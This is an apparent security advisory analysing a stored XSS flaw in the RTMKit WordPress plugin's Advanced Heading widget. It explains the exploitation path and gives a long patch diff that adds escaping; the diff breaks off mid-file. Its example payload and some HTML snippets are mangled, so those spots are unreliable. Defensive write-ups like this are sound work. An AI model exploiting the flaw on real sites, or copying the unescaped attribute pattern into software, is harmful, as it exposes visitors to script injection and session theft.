Atomic Edge analysis of CVE-2026-8351:
This is a Stored Cross-Site Scripting (XSS) vulnerability in the RTMKit plugin for WordPress, affecting the Advanced Heading widget. The flaw allows authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts through the ‘Background Text’ parameter. The vulnerability exists in versions up to and including 2.0.7 and carries a CVSS score of 6.4.
The root cause lies in the render() function of the AdvancedHeading widget, located in `/rometheme-for-elementor/Inc/Elements/AdvancedHeading.php`. In the vulnerable version, line 960 builds an HTML attribute by directly concatenating the `$settings[‘background_text_heading’]` value into a `data-background-text` attribute without any escaping: `$bgText = ($settings[‘show_background_text’] === ‘yes’) ? ‘data-background-text=”‘ . $settings[‘background_text_heading’] . ‘”‘ : ”;`. The patched version wraps this value with `esc_attr()`, which HTML-encodes special characters like quotes, preventing attribute injection. The `render()` function is called when the widget is displayed via `echo sprintf(‘
‘, $bgText);`.
An attacker with Contributor-level access can exploit this by creating or editing a page using the Elementor page builder with the Advanced Heading widget. They set the ‘Background Text’ parameter (stored as `background_text_heading`) to a malicious payload such as `”>`. When Elementor renders the widget, this value is inserted into the `data-background-text` attribute without escaping, allowing the attacker to break out of the attribute and inject arbitrary HTML and JavaScript. The script executes when any user visits the page containing the compromised widget.
The patch adds `esc_attr()` around the `$settings[‘background_text_heading’]` value before concatenation. The original code directly concatenated user-supplied input into an HTML attribute, creating an XSS vector. After the fix, the `esc_attr()` function converts characters like `”` to `"`, “ to `>`, which prevents breaking out of the attribute context. The change is minimal and targeted: wrapping one variable with the WordPress escape function.
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user viewing the compromised page. This can lead to session hijacking, sensitive data exfiltration (cookies, local storage), redirection to malicious sites, defacement, or further privilege escalation by performing administrative actions on behalf of another user. Since the attack requires only Contributor-level access, it poses a credible threat in multi-author WordPress environments.
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
Code Diff
--- a/rometheme-for-elementor/Inc/Core/Plugin.php
+++ b/rometheme-for-elementor/Inc/Core/Plugin.php
@@ -13,6 +13,8 @@
use DomElement;
use Exception;
+if (! defined('ABSPATH')) exit;
+
class Plugin
{
protected $modules;
@@ -51,10 +53,12 @@
return;
}
+ // phpcs:ignore WordPress.Security.NonceVerification.Recommended
if (!isset($_GET['page'])) {
return;
}
+ // phpcs:ignore WordPress.Security.NonceVerification.Recommended
$page = sanitize_key($_GET['page']);
// Daftar page admin plugin yang VALID
@@ -85,16 +89,17 @@
admin_url('admin.php?page=rtmkit-setup-wizard')
);
-
-
+ // phpcs:ignore WordPress.Security.NonceVerification.Recommended
if (!empty($_GET['page']) && ($_GET['page'] === 'rtm-update' || $_GET['page'] === 'rtmkit' || $_GET['page'] === 'romethemekit') && $this->wizard_setup_check() === false) {
- var_dump("here");
+ // var_dump("here");
$url = admin_url('admin.php?page=rtmkit-setup-wizard');
wp_safe_redirect($url);
exit;
}
+ // phpcs:ignore WordPress.Security.NonceVerification.Recommended
if (!empty($_GET['page']) && $_GET['page'] === 'rtmkit-setup-wizard' && $this->wizard_setup_check() !== false) {
+ // phpcs:ignore WordPress.Security.NonceVerification.Recommended
wp_safe_redirect(admin_url('admin.php?page=rtmkit'));
exit;
}
@@ -148,11 +153,13 @@
}
// hindari redirect loop
+ // phpcs:ignore WordPress.Security.NonceVerification.Recommended
if (!empty($_GET['rtmkit_redirected'])) {
return;
}
// jangan redirect kalau sudah di wizard
+ // phpcs:ignore WordPress.Security.NonceVerification.Recommended
if (!empty($_GET['page']) && $_GET['page'] === 'rtmkit-setup-wizard' && $this->wizard_setup_check() === false) {
return;
}
@@ -164,18 +171,19 @@
);
-
+ // phpcs:ignore WordPress.Security.NonceVerification.Recommended
if (!empty($_GET['page']) && ($_GET['page'] === 'rtm-update' || $_GET['page'] === 'rtmkit' || $_GET['page'] === 'romethemekit') && $this->wizard_setup_check() === false) {
$url = admin_url('admin.php?page=rtmkit-setup-wizard');
wp_safe_redirect($url);
exit;
}
+ // phpcs:ignore WordPress.Security.NonceVerification.Recommended
if (!empty($_GET['page']) && $_GET['page'] === 'rtmkit-setup-wizard' && $this->wizard_setup_check() !== false) {
wp_safe_redirect(admin_url('admin.php?page=rtmkit'));
exit;
}
-
+ // phpcs:ignore WordPress.Security.NonceVerification.Recommended
if ($this->wizard_setup_check() === false) {
wp_safe_redirect($url);
exit;
@@ -255,7 +263,7 @@
new RTMKitModulesHelperBanner();
} catch (Exception $e) {
// Handle exceptions if necessary
- error_log($e->getMessage());
+ // error_log($e->getMessage());
}
}
--- a/rometheme-for-elementor/Inc/Core/PluginApi.php
+++ b/rometheme-for-elementor/Inc/Core/PluginApi.php
@@ -2,6 +2,8 @@
namespace RTMKitCore;
+if (! defined('ABSPATH')) exit;
+
class PluginApi
{
/**
@@ -55,14 +57,27 @@
public function get_content()
{
- check_ajax_referer('rtmkit_nonce', 'nonce');
+ $nonce = isset($_POST['nonce'])
+ ? sanitize_text_field(wp_unslash($_POST['nonce']))
+ : '';
+
+ if (! wp_verify_nonce($nonce, 'rtmkit_nonce')) {
+ die(__('Security check', 'rometheme-for-elementor'));
+ }
+
+ // check_ajax_referer('rtmkit_nonce', 'nonce');
if (!current_user_can('manage_options')) {
wp_send_json_error('Access Denied.');
wp_die();
}
- $path = sanitize_text_field($_POST['path']);
- $menus = RTMKitModulesMenu::instance()->get_menu_by_path($_POST['path']);
+ $path = isset($_POST['path'])
+ ? sanitize_text_field(wp_unslash($_POST['path']))
+ : '';
+ // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+ $menus = RTMKitModulesMenu::instance()->get_menu_by_path($path);
+
+ // phpcs:ignore WordPress.Security.NonceVerification.Recommended
if (!isset($_POST['path'])) {
wp_send_json_error('Path not specified.');
return;
@@ -89,7 +104,11 @@
wp_die();
}
- $idKit = sanitize_text_field($_POST['idKit']);
+ // $idKit = sanitize_text_field($_POST['idKit']);
+ $idKit = isset($_POST['idKit'])
+ ? sanitize_text_field(wp_unslash($_POST['idKit']))
+ : '';
+
$update = update_option('elementor_active_kit', $idKit);
if ($update) {
wp_send_json_success('Global Site Settings updated successfully.');
--- a/rometheme-for-elementor/Inc/Elements/Accordion.php
+++ b/rometheme-for-elementor/Inc/Elements/Accordion.php
@@ -2,6 +2,8 @@
namespace RTMKitElements;
+if (! defined('ABSPATH')) exit;
+
class Accordion extends ElementorWidget_Base
{
private function get_widget_data()
@@ -65,7 +67,7 @@
$list = [];
if ($template) {
foreach ($template as $template) {
- $list[intval($template->ID)] = esc_html__($template->post_title, 'rometheme-for-elementor');
+ $list[intval($template->ID)] = esc_html($template->post_title);
}
}
return $list;
@@ -1045,7 +1047,7 @@
{
if (ElementorPlugin::$instance->editor->is_edit_mode()) {
?>
- <a href="<?php echo admin_url("post.php?post={$item}&action=elementor") ?>"
+ <a href="<?php echo esc_url(admin_url("post.php?post={$item}&action=elementor")) ?>"
class="accordion-edit-template-btn btn">
Edit Saved Template <i class="eicon-edit" aria-hidden="true"></i>
</a>
@@ -1113,7 +1115,7 @@
?>
</<?php echo esc_attr($title_tag) ?>>
<?php if (!empty($settings['show_subheading'])) { ?>
- <span class="header-subtitle"><?php echo $item['accordion_sub_title'] ?></span>
+ <span class="header-subtitle"><?php echo esc_html($item['accordion_sub_title']) ?></span>
<?php } ?>
</div>
<div class="rkit-accordion__icon">
@@ -1125,13 +1127,29 @@
<div class="rkit-accordion__content">
<?php
if ($item['description_type'] == 'description') {
- echo wp_kses_post($item['item_description']);
+ echo wp_kses_post($item['item_description'] ?? '');
} else {
$template = get_post($item['item_template']);
- if (!empty($template)) { ?>
- <div class="rkit-custom-content-wrapper" <?php echo (ElementorPlugin::$instance->editor->is_edit_mode()) ? 'saved-template="true"' : '' ?>>
+ if (!empty($template)) {
+
+ if (!wp_style_is('elementor-frontend', 'registered')) {
+ wp_register_style(
+ 'elementor-frontend',
+ ELEMENTOR_ASSETS_URL . 'css/frontend.min.css',
+ [],
+ ELEMENTOR_VERSION
+ );
+ }
+
+ if (!wp_style_is('elementor-frontend', 'enqueued')) {
+ wp_enqueue_style('elementor-frontend');
+ }
+ ?>
+ <div class="rkit-custom-content-wrapper" <?php echo (ElementorPlugin::$instance->editor->is_edit_mode()) ? 'saved-template="true"' : '' ?>>
<?php
- echo RTMKitModulesWidgetsWidgetModule::instance()->render_edit_template_button($item['item_template'], get_queried_object_id());
+ // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+ echo RTMKitModulesWidgetsWidgetModule::instance()->render_edit_template_button(absint($item['item_template']), absint(get_queried_object_id()));
+ // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
echo ElementorPlugin::instance()->frontend->get_builder_content_for_display($item['item_template']);
?>
</div>
--- a/rometheme-for-elementor/Inc/Elements/AdvancedHeading.php
+++ b/rometheme-for-elementor/Inc/Elements/AdvancedHeading.php
@@ -2,6 +2,8 @@
namespace RTMKitElements;
+if (! defined('ABSPATH')) exit;
+
class AdvancedHeading extends ElementorWidget_Base
{
private function get_widget_data()
@@ -52,17 +54,17 @@
$this->start_controls_section(
'content_section',
[
- 'label' => esc_html__('Content', 'rometheme-kit'),
+ 'label' => esc_html__('Content', 'rometheme-for-elementor'),
]
);
$this->add_control(
'use_boxed_hedading',
[
- 'label' => esc_html__('Boxed Heading', 'textdomain'),
+ 'label' => esc_html__('Boxed Heading', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::SWITCHER,
- 'label_on' => esc_html__('Yes', 'textdomain'),
- 'label_off' => esc_html__('No', 'textdomain'),
+ 'label_on' => esc_html__('Yes', 'rometheme-for-elementor'),
+ 'label_off' => esc_html__('No', 'rometheme-for-elementor'),
'return_value' => 'enabled',
'default' => '',
'prefix_class' => 'use-boxed-heading-',
@@ -121,10 +123,10 @@
$this->add_control(
'show_background_text',
[
- 'label' => esc_html__('Use Background Text', 'textdomain'),
+ 'label' => esc_html__('Use Background Text', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::SWITCHER,
- 'label_on' => esc_html__('Yes', 'textdomain'),
- 'label_off' => esc_html__('No', 'textdomain'),
+ 'label_on' => esc_html__('Yes', 'rometheme-for-elementor'),
+ 'label_off' => esc_html__('No', 'rometheme-for-elementor'),
'return_value' => 'yes',
'default' => '',
]
@@ -144,7 +146,7 @@
$this->start_controls_section(
'wrapper_style',
[
- 'label' => esc_html__('Wrapper', 'rometheme-kit'),
+ 'label' => esc_html__('Wrapper', 'rometheme-for-elementor'),
'tab' => ElementorControls_Manager::TAB_STYLE,
]
);
@@ -152,19 +154,19 @@
$this->add_responsive_control(
'alignment',
[
- 'label' => esc_html__('Alignment', 'rometheme-kit'),
+ 'label' => esc_html__('Alignment', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::CHOOSE,
'options' => [
'left' => [
- 'title' => esc_html__('Left', 'rometheme-kit'),
+ 'title' => esc_html__('Left', 'rometheme-for-elementor'),
'icon' => 'eicon-text-align-left',
],
'center' => [
- 'title' => esc_html__('Center', 'rometheme-kit'),
+ 'title' => esc_html__('Center', 'rometheme-for-elementor'),
'icon' => 'eicon-text-align-center',
],
'right' => [
- 'title' => esc_html__('Right', 'rometheme-kit'),
+ 'title' => esc_html__('Right', 'rometheme-for-elementor'),
'icon' => 'eicon-text-align-right',
],
],
@@ -191,7 +193,7 @@
'name' => 'container_box_shadow_ah',
'label' => __('Box Shadow', 'rometheme-for-elementor'),
'selector' => '{{WRAPPER}} .rkit-advanced-heading-wrapper',
- 'description' => esc_html__('Put 0 for no box shadow ', 'text-domain'),
+ 'description' => esc_html__('Put 0 for no box shadow ', 'rometheme-for-elementor'),
]
);
@@ -224,7 +226,7 @@
$this->start_controls_section(
'heading_style_section',
[
- 'label' => esc_html__('Text', 'rometheme-kit'),
+ 'label' => esc_html__('Text', 'rometheme-for-elementor'),
'tab' => ElementorControls_Manager::TAB_STYLE,
]
);
@@ -257,10 +259,10 @@
$this->add_control(
'animation_heading_gradient',
[
- 'label' => esc_html__('Animation Gradient', 'textdomain'),
+ 'label' => esc_html__('Animation Gradient', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::SWITCHER,
- 'label_on' => esc_html__('Yes', 'textdomain'),
- 'label_off' => esc_html__('No', 'textdomain'),
+ 'label_on' => esc_html__('Yes', 'rometheme-for-elementor'),
+ 'label_off' => esc_html__('No', 'rometheme-for-elementor'),
'return_value' => 'enabled',
'default' => '',
'prefix_class' => 'animation-heading-gradient-'
@@ -271,7 +273,7 @@
'heading_animation_speed',
[
'type' => ElementorControls_Manager::SLIDER,
- 'label' => esc_html__('Animation Speed', 'textdomain'),
+ 'label' => esc_html__('Animation Speed', 'rometheme-for-elementor'),
'size_units' => ['s', 'ms'],
'range' => [
's' => [
@@ -479,10 +481,10 @@
$this->add_control(
'animation_headline_gradient',
[
- 'label' => esc_html__('Animation Gradient', 'textdomain'),
+ 'label' => esc_html__('Animation Gradient', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::SWITCHER,
- 'label_on' => esc_html__('Yes', 'textdomain'),
- 'label_off' => esc_html__('No', 'textdomain'),
+ 'label_on' => esc_html__('Yes', 'rometheme-for-elementor'),
+ 'label_off' => esc_html__('No', 'rometheme-for-elementor'),
'return_value' => 'enabled',
'default' => '',
'prefix_class' => 'animation-headline-gradient-'
@@ -493,7 +495,7 @@
'headline_animation_speed',
[
'type' => ElementorControls_Manager::SLIDER,
- 'label' => esc_html__('Animation Speed', 'textdomain'),
+ 'label' => esc_html__('Animation Speed', 'rometheme-for-elementor'),
'size_units' => ['s', 'ms'],
'range' => [
's' => [
@@ -756,10 +758,50 @@
]
);
+ $this->add_control(
+ 'adjust_background_text',
+ [
+ 'label' => esc_html__('Adjust Alignment', 'rometheme-for-elementor'),
+ 'type' => ElementorControls_Manager::SWITCHER,
+ 'label_on' => esc_html__('Yes', 'rometheme-for-elementor'),
+ 'label_off' => esc_html__('No', 'rometheme-for-elementor'),
+ 'return_value' => 'yes',
+ 'default' => '',
+ ]
+ );
+
+ $this->add_responsive_control(
+ 'background_text_alignment',
+ [
+ 'label' => esc_html__('Alignment', 'rometheme-for-elementor'),
+ 'type' => ElementorControls_Manager::CHOOSE,
+ 'options' => [
+ 'margin-right:auto; text-align:start; ' => [
+ 'title' => esc_html__('Left', 'rometheme-for-elementor'),
+ 'icon' => 'eicon-text-align-left',
+ ],
+ 'margin:0 auto; text-align:center;' => [
+ 'title' => esc_html__('Center', 'rometheme-for-elementor'),
+ 'icon' => 'eicon-text-align-center',
+ ],
+ 'margin-left:auto; text-align:end;' => [
+ 'title' => esc_html__('Right', 'rometheme-for-elementor'),
+ 'icon' => 'eicon-text-align-right',
+ ],
+ ],
+ 'selectors' => [
+ '{{WRAPPER}} .rkit-advanced-heading-wrapper::before' => ' {{VALUE}} inset:0;',
+ ],
+ 'condition' => [
+ 'adjust_background_text' => ''
+ ]
+ ]
+ );
+
$this->add_responsive_control(
'x_offset',
[
- 'label' => esc_html__('Horizontal Offset', 'textdomain'),
+ 'label' => esc_html__('Horizontal Offset', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::SLIDER,
'size_units' => ['px', '%', 'em', 'rem', 'custom'],
'range' => [
@@ -788,13 +830,16 @@
'selectors' => [
'{{WRAPPER}} .rkit-advanced-heading-wrapper::before' => 'left: {{SIZE}}{{UNIT}};',
],
+ 'condition' => [
+ 'adjust_background_text!' => ''
+ ],
]
);
$this->add_responsive_control(
'y_offset',
[
- 'label' => esc_html__('Vertical Offset', 'textdomain'),
+ 'label' => esc_html__('Vertical Offset', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::SLIDER,
'size_units' => ['px', '%', 'em', 'rem', 'custom'],
'range' => [
@@ -829,7 +874,7 @@
$this->add_responsive_control(
'bg_text_rotate',
[
- 'label' => esc_html__('Rotate (degrees)', 'textdomain'),
+ 'label' => esc_html__('Rotate (degrees)', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::SLIDER,
'size_units' => ['px'],
'range' => [
@@ -879,7 +924,7 @@
$this->add_control(
'bg_text_index',
[
- 'label' => esc_html__('Z-Index', 'textdomain'),
+ 'label' => esc_html__('Z-Index', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::NUMBER,
'min' => -10,
'max' => 1000,
@@ -957,10 +1002,16 @@
$text
);
- $bgText = ($settings['show_background_text'] === 'yes') ? 'data-background-text="' . $settings['background_text_heading'] . '"' : '';
+ $bgText = ($settings['show_background_text'] === 'yes') ? 'data-background-text="' . esc_attr($settings['background_text_heading']) . '"' : '';
- echo sprintf('<div class="rkit-advanced-heading-wrapper" %s>', $bgText);
+ echo sprintf(
+ // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+ '<div class="rkit-advanced-heading-wrapper" %s>',
+ $bgText
+ );
+ // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
echo '<' . esc_html($html_tag) . ' class="rkit-advanced-heading">' . $link_start . wp_kses_post($animated_text) . $link_end . '</' . esc_html($html_tag) . '>';
+ // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
echo '</div>';
}
}
--- a/rometheme-for-elementor/Inc/Elements/AnimatedHeading.php
+++ b/rometheme-for-elementor/Inc/Elements/AnimatedHeading.php
@@ -2,6 +2,8 @@
namespace RTMKitElements;
+ if ( ! defined( 'ABSPATH' ) ) exit;
+
class AnimatedHeading extends ElementorWidget_Base
{
private function get_widget_data()
@@ -232,7 +234,7 @@
$this->add_responsive_control(
'padding_text',
[
- 'label' => esc_html__('Padding', 'textdomain'),
+ 'label' => esc_html__('Padding', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::DIMENSIONS,
'size_units' => ['px', '%', 'em', 'rem', 'custom'],
'selectors' => [
@@ -305,7 +307,7 @@
$this->add_responsive_control(
'animated_padding_text',
[
- 'label' => esc_html__('Padding', 'textdomain'),
+ 'label' => esc_html__('Padding', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::DIMENSIONS,
'size_units' => ['px', '%', 'em', 'rem', 'custom'],
'selectors' => [
@@ -443,7 +445,7 @@
<a <?php echo esc_attr($this->print_render_attribute_string('_link')) ?>>
<<?php echo esc_html($html_tag) ?> class="rkit-animated-heading" data-duration="<?php echo esc_attr($settings['duration']) ?>">
<?php
- echo $newString;
+ echo wp_kses_post($newString ?? '');
?>
</<?php echo esc_html($html_tag) ?>>
</a>
--- a/rometheme-for-elementor/Inc/Elements/BackToTop.php
+++ b/rometheme-for-elementor/Inc/Elements/BackToTop.php
@@ -2,6 +2,8 @@
namespace RTMKitElements;
+ if ( ! defined( 'ABSPATH' ) ) exit;
+
class BackToTop extends ElementorWidget_Base
{
private function get_widget_data()
--- a/rometheme-for-elementor/Inc/Elements/BarChart.php
+++ b/rometheme-for-elementor/Inc/Elements/BarChart.php
@@ -2,6 +2,8 @@
namespace RTMKitElements;
+ if ( ! defined( 'ABSPATH' ) ) exit;
+
class BarChart extends ElementorWidget_Base
{
private function get_widget_data()
--- a/rometheme-for-elementor/Inc/Elements/Blockquote.php
+++ b/rometheme-for-elementor/Inc/Elements/Blockquote.php
@@ -2,6 +2,8 @@
namespace RTMKitElements;
+ if ( ! defined( 'ABSPATH' ) ) exit;
+
class Blockquote extends ElementorWidget_Base
{
private function get_widget_data()
--- a/rometheme-for-elementor/Inc/Elements/BlogPost.php
+++ b/rometheme-for-elementor/Inc/Elements/BlogPost.php
@@ -4,6 +4,8 @@
use WP_Query;
+ if ( ! defined( 'ABSPATH' ) ) exit;
+
class BlogPost extends ElementorWidget_Base
{
private function get_widget_data()
@@ -53,10 +55,10 @@
public function rkit_get_posts()
{
- $posts = get_posts(['post_type' => 'post']);
+ $posts = get_posts(['post_type' => 'post','numberposts' => -1]);
$list_post = [];
foreach ($posts as $post) {
- $list_post[$post->ID] = esc_html__($post->post_title);
+ $list_post[$post->ID] = esc_html($post->post_title);
}
return $list_post;
}
@@ -79,7 +81,7 @@
]);
$this->add_responsive_control('show-post-row', [
- 'label' => esc_html__('Show Post Per Row'),
+ 'label' => esc_html__('Show Post Per Row','rometheme-for-elementor'),
'type' => ElementorControls_Manager::NUMBER,
'selectors' => [
'{{WRAPPER}} .rkit-post-grid' => 'grid-template-columns: repeat({{VALUE}}, 1fr);'
@@ -370,9 +372,9 @@
'M j, Y' => esc_html__('Jan 01, 2023', 'rometheme-for-elementor'),
'd M Y' => esc_html__('01 Jan 2023', 'rometheme-for-elementor'),
'F jS, Y' => esc_html__('January 1st, 2023', 'rometheme-for-elementor'),
- 'd/m/Y' => esc_html__('(Day/Month/Year) - 01/01/2023'),
- 'm/d/Y' => esc_html__('(Month/Day/Year) - 01/01/2023'),
- 'Y-m-d' => esc_html('(Year-Month-Day) - 2023-01-01'),
+ 'd/m/Y' => esc_html__('(Day/Month/Year) - 01/01/2023','rometheme-for-elementor'),
+ 'm/d/Y' => esc_html__('(Month/Day/Year) - 01/01/2023','rometheme-for-elementor'),
+ 'Y-m-d' => esc_html('(Year-Month-Day) - 2023-01-01','rometheme-for-elementor'),
],
'default' => 'F d, Y',
'condition' => [
@@ -412,7 +414,7 @@
$this->end_controls_section();
- $this->start_controls_section('read-more-content', ['label' => esc_html__('Read More Button'), 'tab' => ElementorControls_Manager::TAB_CONTENT]);
+ $this->start_controls_section('read-more-content', ['label' => esc_html__('Read More Button','rometheme-for-elementor'), 'tab' => ElementorControls_Manager::TAB_CONTENT]);
$this->add_control(
'readmore-text',
@@ -425,6 +427,22 @@
);
$this->add_control(
+ 'readmore_animation',
+ [
+ 'label' => esc_html__('Button Animation', 'rometheme-for-elementor'),
+ 'type' => ElementorControls_Manager::SELECT,
+ 'options' => [
+ '' => esc_html__('Default', 'rometheme-for-elementor'),
+ 'hover-filled-slide-down' => esc_html__('Filled Slide Down', 'rometheme-for-elementor'),
+ 'hover-filled-slide-up' => esc_html__('Filled Slide Up', 'rometheme-for-elementor'),
+ 'hover-filled-slide-left' => esc_html__('Filled Slide Left', 'rometheme-for-elementor'),
+ 'hover-filled-slide-right' => esc_html__('Filled Slide Right', 'rometheme-for-elementor'),
+ ],
+ 'default' => '',
+ ]
+ );
+
+ $this->add_control(
'show_icon_readmore',
[
'label' => esc_html__('Add Icon ?', 'rometheme-for-elementor'),
@@ -1016,7 +1034,7 @@
);
$this->add_responsive_control('metadata_spacing', [
- 'label' => esc_html__('Spacing'),
+ 'label' => esc_html__('Spacing','rometheme-for-elementor'),
'type' => ElementorControls_Manager::SLIDER,
'size_units' => ['px', '%', 'em', 'rem'],
'selectors' => [
@@ -1025,13 +1043,33 @@
]);
$this->add_responsive_control('icon_size', [
- 'label' => esc_html__('Icon Size'),
+ 'label' => esc_html__('Icon Size','rometheme-for-elementor'),
'type' => ElementorControls_Manager::SLIDER,
'selectors' => [
'{{WRAPPER}} .rkit-meta-icon' => 'font-size:{{SIZE}}{{UNIT}}'
]
]);
+ // $this->add_group_control(
+ // ElementorGroup_Control_Border::get_type(),
+ // [
+ // 'name' => 'meta_border',
+ // 'selector' => '{{WRAPPER}} .rkit-metadata',
+ // ]
+ // );
+
+ // $this->add_responsive_control(
+ // 'meta-border',
+ // [
+ // 'label' => esc_html__('Border Radius', 'rometheme-for-elementor'),
+ // 'type' => ElementorControls_Manager::DIMENSIONS,
+ // 'size_units' => ['px', '%', 'em', 'rem'],
+ // 'selectors' => [
+ // '{{WRAPPER}} .rkit-metadata' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+ // ],
+ // ]
+ // );
+
$this->add_responsive_control(
'meta-icon-spacing',
[
@@ -1299,7 +1337,7 @@
$this->end_controls_section();
- $this->start_controls_section('content_style', ['label' => esc_html__('Content'), 'tab' => ElementorControls_Manager::TAB_STYLE]);
+ $this->start_controls_section('content_style', ['label' => esc_html__('Content','rometheme-for-elementor'), 'tab' => ElementorControls_Manager::TAB_STYLE]);
$this->add_responsive_control(
'content_align',
@@ -1557,7 +1595,7 @@
],
],
'selectors' => [
- '{{WRAPPER}} a.rkit-readmore-btn .rkit-icon-readmore' => 'font-size: {{SIZE}}{{UNIT}}; , width : {{SIZE}}{{UNIT}} ; height : {{SIZE}}{{UNIT}};',
+ '{{WRAPPER}} .rkit-post-grid a.rkit-readmore-btn .rkit-icon-readmore' => 'font-size: {{SIZE}}{{UNIT}}; , width : {{SIZE}}{{UNIT}} ; height : {{SIZE}}{{UNIT}};',
],
'condition' => [
'show_icon_readmore' => 'yes'
@@ -1583,7 +1621,7 @@
],
],
'selectors' => [
- '{{WRAPPER}} a.rkit-readmore-btn' => 'gap: {{SIZE}}{{UNIT}};',
+ '{{WRAPPER}} .rkit-post-grid a.rkit-readmore-btn' => 'gap: {{SIZE}}{{UNIT}};',
],
'condition' => [
'show_icon_readmore' => 'yes'
@@ -1595,7 +1633,7 @@
ElementorGroup_Control_Typography::get_type(),
[
'name' => 'readmore_button_typography',
- 'selector' => '{{WRAPPER}} .rkit-readmore-btn',
+ 'selector' => '{{WRAPPER}} .rkit-post-grid .rkit-readmore-btn',
]
);
@@ -1604,7 +1642,7 @@
'type' => ElementorControls_Manager::DIMENSIONS,
'size_units' => ['px', '%', 'em', 'rem'],
'selectors' => [
- '{{WRAPPER}} .rkit-readmore-btn' => 'padding:{{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}'
+ '{{WRAPPER}} .rkit-post-grid .rkit-readmore-btn' => 'padding:{{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}'
]
]);
@@ -1614,16 +1652,27 @@
'label' => esc_html__('Text Color', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::COLOR,
'selectors' => [
- '{{WRAPPER}} .rkit-readmore-btn' => 'color : {{VALUE}}'
+ '{{WRAPPER}} .rkit-post-grid .rkit-readmore-btn' => 'color : {{VALUE}}'
],
]);
+ $this->add_control('button_icon_color', [
+ 'label' => esc_html('Icon Color'),
+ 'type' => ElementorControls_Manager::COLOR,
+ 'selectors' => [
+ '{{WRAPPER}} .rkit-post-grid .rkit-readmore-btn .rkit-icon-readmore' => 'color:{{VALUE}}; fill:{{VALUE}}'
+ ],
+ 'condition' => [
+ 'show_icon_readmore' => 'yes'
+ ]
+ ]);
+
$this->add_group_control(
ElementorGroup_Control_Background::get_type(),
[
'name' => 'btn_background_normal',
'types' => ['classic', 'gradient'],
- 'selector' => '{{WRAPPER}} .rkit-readmore-btn',
+ 'selector' => '{{WRAPPER}} .rkit-post-grid .rkit-readmore-btn',
]
);
@@ -1631,14 +1680,14 @@
ElementorGroup_Control_Border::get_type(),
[
'name' => 'border_readmore_btn_normal',
- 'selector' => '{{WRAPPER}} .rkit-readmore-btn',
+ 'selector' => '{{WRAPPER}} .rkit-post-grid .rkit-readmore-btn',
]
);
$this->add_group_control(
ElementorGroup_Control_Box_Shadow::get_type(),
[
'name' => 'btn_box_shadow_normal',
- 'selector' => '{{WRAPPER}} .rkit-readmore-btn',
+ 'selector' => '{{WRAPPER}} .rkit-post-grid .rkit-readmore-btn',
]
);
$this->end_controls_tab();
@@ -1648,16 +1697,27 @@
'label' => esc_html__('Text Color', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::COLOR,
'selectors' => [
- '{{WRAPPER}} .rkit-readmore-btn:hover' => 'color : {{VALUE}}'
+ '{{WRAPPER}} .rkit-post-grid .rkit-readmore-btn:hover' => 'color : {{VALUE}}'
],
]);
+ $this->add_control('button_icon_color_hover', [
+ 'label' => esc_html('Icon Color'),
+ 'type' => ElementorControls_Manager::COLOR,
+ 'selectors' => [
+ '{{WRAPPER}} .rkit-post-grid .rkit-readmore-btn:hover .rkit-icon-readmore' => 'color:{{VALUE}}; fill:{{VALUE}}'
+ ],
+ 'condition' => [
+ 'show_icon_readmore' => 'yes'
+ ]
+ ]);
+
$this->add_group_control(
ElementorGroup_Control_Background::get_type(),
[
'name' => 'btn_background_hover',
'types' => ['classic', 'gradient'],
- 'selector' => '{{WRAPPER}} .rkit-readmore-btn:hover',
+ 'selector' => '{{WRAPPER}} .rkit-post-grid a.rkit-readmore-btn:not(.has-animation):hover, {{WRAPPER}} .rkit-post-grid a.rkit-readmore-btn.has-animation::before'
]
);
@@ -1668,7 +1728,7 @@
'label' => esc_html__('Border Color', 'rometheme-for-elementor'),
'type' => ElementorControls_Manager::COLOR,
'selectors' => [
- '{{WRAPPER}} .rkit-readmore-btn:hover' => 'border-color: {{VALUE}}',
+ '{{WRAPPER}} .rkit-post-grid .rkit-readmore-btn:hover' => 'border-color: {{VALUE}}',
],
]
);
@@ -1677,7 +1737,36 @@
ElementorGroup_Control_Box_Shadow::get_type(),
[
'name' => 'btn_box_shadow_hover',
- 'selector' => '{{WRAPPER}} .rkit-readmore-btn:hover',
+ 'selector' => '{{WRAPPER}} .rkit-post-grid .rkit-readmore-btn:hover',
+ ]
+ );
+
+ $this->add_control(
+ 'btn_transition_duration',
+ [
+ 'label' => esc_html__('Transition Duration', 'rometheme-for-elementor'),
+ 'type' => ElementorControls_Manager::SLIDER,
+ 'size_units' => ['ms', 's'],
+ 'range' => [
+ 's' => [
+ 'min' => 0,
+ 'max' => 100,
+ 'step' => 0.1,
+ ],
+ 'ms' => [
+ 'min' => 0,
+ 'step' => 1000,
+ 'max' => 100,
+ ],
+ ],
+ 'default' => [
+ 'unit' => 's',
+ 'size' => 0.3,
+ ],
+ 'selectors' => [
+ '{{WRAPPER}} .rkit-post-grid .rkit-readmore-btn' => 'transition: all {{SIZE}}{{UNIT}} ease-in-out;',
